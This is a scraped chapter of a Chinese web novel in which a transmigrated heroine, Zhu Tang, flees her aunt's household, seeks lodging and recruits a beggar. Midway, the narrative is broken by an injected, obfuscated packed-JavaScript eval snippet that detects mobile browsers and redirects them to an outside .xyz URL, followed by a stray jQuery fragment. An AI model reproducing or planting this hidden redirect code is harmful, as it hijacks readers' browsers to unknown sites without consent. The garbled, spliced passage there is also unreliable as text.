7. 第 7 章
作品:《夫人我不要和离啊!》 祝府。
正厅里哗啦啦跪了一地的仆从。
等府上众人回来,下人才急急来报,说小姐已经失踪多日不见。
祝棠的姨母,谢三娘,登时慌了神,赶忙去祝棠住的里间去找。
这会哪还有什么人呢。
床上被褥叠的整整齐齐,妆匣盒中留下的首饰也寥寥无几。
柜里的衣裙倒没少多少,只是熟悉的人一眼便知,姑娘最爱穿的那两件,全都不见了。
谢三娘手扶在柜门上,气得发抖,一双眼闭了又闭。
眼前这景象还有什么不明白的呢?
哪来的失踪?
分明是蓄意逃跑已久。
怪不得那日出门,她伸手要去探祝棠的额头,祝棠还要侧身去躲。
当时她就觉得不对劲,但也没多想。
毕竟这么多年了,祝棠一直很听话。
谢三娘一巴掌拍在那实木柜门上,声音尖细,向众人发难:
“祝棠那死丫头人去哪了!”
“祝府这么多人,连个姑娘都看不住!”
后面跟着的人哗啦啦跪了一片,但却没人吭声,连头都没敢抬。
“有没有人知道姑娘去哪儿了?”
等了片刻,没有回应,谢三娘眯了眯眼,冷哼道:“行。”
下一秒,她音量抬高,把门外的丁嬷嬷叫了进来。
神情淡漠,眼神阴冷,吩咐道:
“既然没人知道,那就以看管不力的理由”
“全都发卖了。”
底下的人这会有动静了。
一个丫鬟颤颤巍巍地抬手,瞧着将举未举,音线都在颤,哭着说道:
“我…我知道姑娘去哪儿了。”
——
“小姐,我们当真要搬来住在贺公子的这处宅院里吗?”
知桃抬眼望了一圈,忧心忡忡地问道。
“不行。”
祝棠虽是从现代穿书进来,却也知道男女有别。
无亲无故住在贺江临的宅院里,被人知道了确实不好。
贺江临是随心所欲惯了,不在乎闲言碎语,但她一弱女子要在古代过活,不能给自己找麻烦。
“那小姐方才怎么不直接拒绝贺公子?”
说到这个,祝棠倒有些无奈了,扶着额头说道:“你瞧他那认真的神态,若是不先应下,定要缠着我们说些有的没的。”
“方才我骗他,我已经付了客栈一周的定金,不好毁约,让他过些时日再找人来打扫。”
“在那之前我们先找出房屋租来住,届时他问起,想个理由糊弄了便是。”
祝棠回头望了那屋子一眼,幽幽道:“反正不能住他这个。”
“我不想年纪轻轻脊梁骨就被街坊邻居三言两语戳弯。”
再说了,寄人篱下,那还不是要看贺江临的善心能发多久。
还是有风险的。
再一想,距离她离家也已经有四五日了,推算着时间,姨母众人应当快要回府了。
她偷溜出府的事情必然是瞒不住的。
只能寄希望于镖局,如先前约定的那样,守口如瓶,不要把她给说出去了。
被贺江临那么一打岔,祝棠这会确实开始认真思考之后的路该怎么走了。
本来想着先把铺子拿到手,别的以后再说。
可眼下现成的铺子没有,要先找个地方暂时住下来。
贺江临行事确实鲁莽了些,但有一点他说对了,一直住客栈也不合适。
至于开店,此事也不能操之过急。
是了,祝棠现在冷静下来了。
自打穿书过来的第一刻起,她就很急切。
急着逃出祝家,急着找贺江临要铺子,方才又没怎么思考,脱口而出一堆开店的想法。
这样不行。
没有人能靠急把事情做成。
站了一天,祝棠此刻腿脚发酸,干脆蹲了下来。
天气严寒,身上衣服穿的又多,此刻竟连蹲下都废了些功夫。
她略带惆怅地叹了口气,感慨自己是不是太想当然了。
古代和现代一样不好混啊。
那么多小说的女主恃美行凶就能结局圆满。
果然是主角光环的缘故。
一阵寒风悠悠吹来,祝棠没忍住打了个寒颤,搓了搓手,掌心变得温热,复而抬手撑着已经微凉的下巴。
然后又叹了口气。
知桃见小姐蹲下了,也跟着蹲下。
小姐先前在祝府也是这样,总是蹙眉叹气。
“知桃,早知道就让你呆在祝府了。”
祝棠的声音听起来低低的。
“你现在跟着我,保不齐吃了上顿没下顿的。”
她吸了吸鼻子,继续补充道:
“我是不想被卖掉,才跑出来。”
“你在祝府待着,反正也不会挨饿挨冻。”
知桃才听不得小姐说自己做的不好。
也蹲着,慢慢一步步从祝棠边上,挪到她面前。
两个姑娘四目相对。
“小姐怎么能这么说!”
“若是小姐跑了,我留下,姨夫人难道会放过我吗!”
祝棠默了两秒,又打起精神来了:
“也是!你还是跟着我比较好!”
“好了好了,我不emo了,我们找房牙看房去。”
“小姐,什么是emo?”
“……”
说干就干。
趁着天还没黑,祝棠打算先找到楼店务,看看有没有合适的房子。
“小姐,那是不是进城初日给我们带路的乞儿?”
祝棠顺着知桃手指的方向看去,那人还是穿着一身破布麻衣,比上次好些,换了双漆黑的棉鞋。
脸上还是脏兮兮的,这会拿着个不知道从哪淘来的破碗,正一路乞讨,眼看着就快到她们这个方向了。
那乞丐拿着的碗底有个破洞,行人丢进去的铜板掉了出来,一路骨碌在地上滚了起来。
乞丐急得不行,赶忙去追。
好巧不巧,阴差阳错,那铜板滚了一路,最后停在了距离祝棠不到两米远的地方。
那乞丐哼哧哼哧要往这边跑,祝棠先一步往前,蹲下去把铜板捡了起来,直起身,两人正好对上视线,这会子大眼瞪小眼。
一想到当时这乞丐在明月楼前大喊大叫害得她差点颜面尽失,祝棠气得磨牙,皮笑肉不笑道:
“这么巧啊。”
这乞丐也知道当时做的不妥。
祝棠在他带路前就把钱先交给他了,他那一声大叫引得所有人都看过来之后,自己倒是心虚先溜了。
丢下祝棠和知桃二人在人群中被人审视。
此刻底气不足,但还是伸出了手,指了指祝棠手中的铜板
然后又指了指自己。
意思祝棠手里的铜板是他的。
祝棠睨了他一眼,还是把铜板放到了他的手心里,只是不解:
“你看着年纪也不大,怎么总靠乞讨过活。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15060088|162986||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
乞丐只是沉默不语,眼里瞧着有两分倔强。
算了。
人都送到眼前了,不用白不用。
祝棠语气软了下来,又不知道他叫什么名字,只得“诶”了一声。
乞丐原本打算转身离开,听见她出声,又在原地站着不动了。
“以后,若是有份工作给你”
“你愿意来吗?”
祝棠不是什么乐善好施的大好人,更不是随地散发菩萨心的圣母。
只是这乞丐瞧着年纪不大,先前拄着拐杖许是有脚伤,现下看他走路倒是自然,想来身体还可以。
除了有些脏兮兮的。
祝棠看他面色,还不算饥黄,应该沦落到乞讨这境地也不久。
她虽有开店的想法,也得有人帮衬着店内的事情才行。
不管日后做什么生意,搬东西总要有人吧。
她和知桃两个女子,又只是初出茅庐刚刚起步,想要招到熟练的小工恐怕也不容易。
更何况这人看着也怪可怜的..
这样思来想去,祝棠心也软了下来。
“你愿意的话,届时我会来寻你的。”
祝棠说的认真,不像唬人。
“潘四。”
良久不说话,潘四的声音粗粝难听,像是含了沙。
——
天黑的很快,过了那个时点后,像有一层黑幕直接从上往下把整个胤州城罩住,严丝合缝的。
祝棠本想到处再逛逛,毕竟她来鄞州城以后,除了今天下午在客栈附近走了走,没多久又被贺江临给拽走了。
但没想到天黑得这么快,速度令人咋舌。
祝棠也不敢在外瞎溜达,跟知桃两个人乖乖地回客栈去了。
两人回到客栈,找了个角落的空桌就坐了下来。
店小二眼尖,顿时脚下生风把菜单递了上来。
一份纸质的菜单,正反加起来笼统不过四面纸,皱巴巴的,菜名倒用小楷端端正正地写着。
“一份玉米排骨汤,糖蒸酥酪,菜笋。”
祝棠扫了一眼,三两下就挑了几个能判断出来是什么的菜,之前还不觉得饿,报完菜名猛地反应过来今天除了那一叠桃花酥,就没再进过食了。
店里吃饭的人不多,菜很快就上齐了。
祝棠饿得狠了,肚子有些微微发疼,先盛了一碗排骨汤,小口小口地喝着,温热的汤水喝进胃里,整个人都舒服多了。
她握着勺子,脑子开始思考。
为什么贺江临名声听起来这么差呢?
这两天接触下来她感觉还好啊。
那天围在明月楼前的人说贺江临怎么娶得到媳妇。
连潘四那个乞儿刚开始也是这么说的。
过完年贺江临多少岁了?
十八周岁?还是十九周岁?
在古代,这个年纪还没娶妻,的确是很奇怪。
她爹这个年纪,她都能下地爬了。
但贺江临看起来除了心直口快脾气差脑子不转弯没啥心眼有点大老粗之外,不像传闻里那么差劲。
祝棠想着想着出了神,一个没注意,咬到了一口姜,顿时小脸皱成个包子。
连她那个贼眉鼠眼长得像下水道里阴湿老鼠的姨父都能娶着媳妇。
贺江临生得也还算俊朗,父亲还在胤州城内当着个半大的官。
怎么可能娶不到媳妇。
还有,潘四最开始说的没心肝又是怎么回事?
早知道刚刚问问潘四了。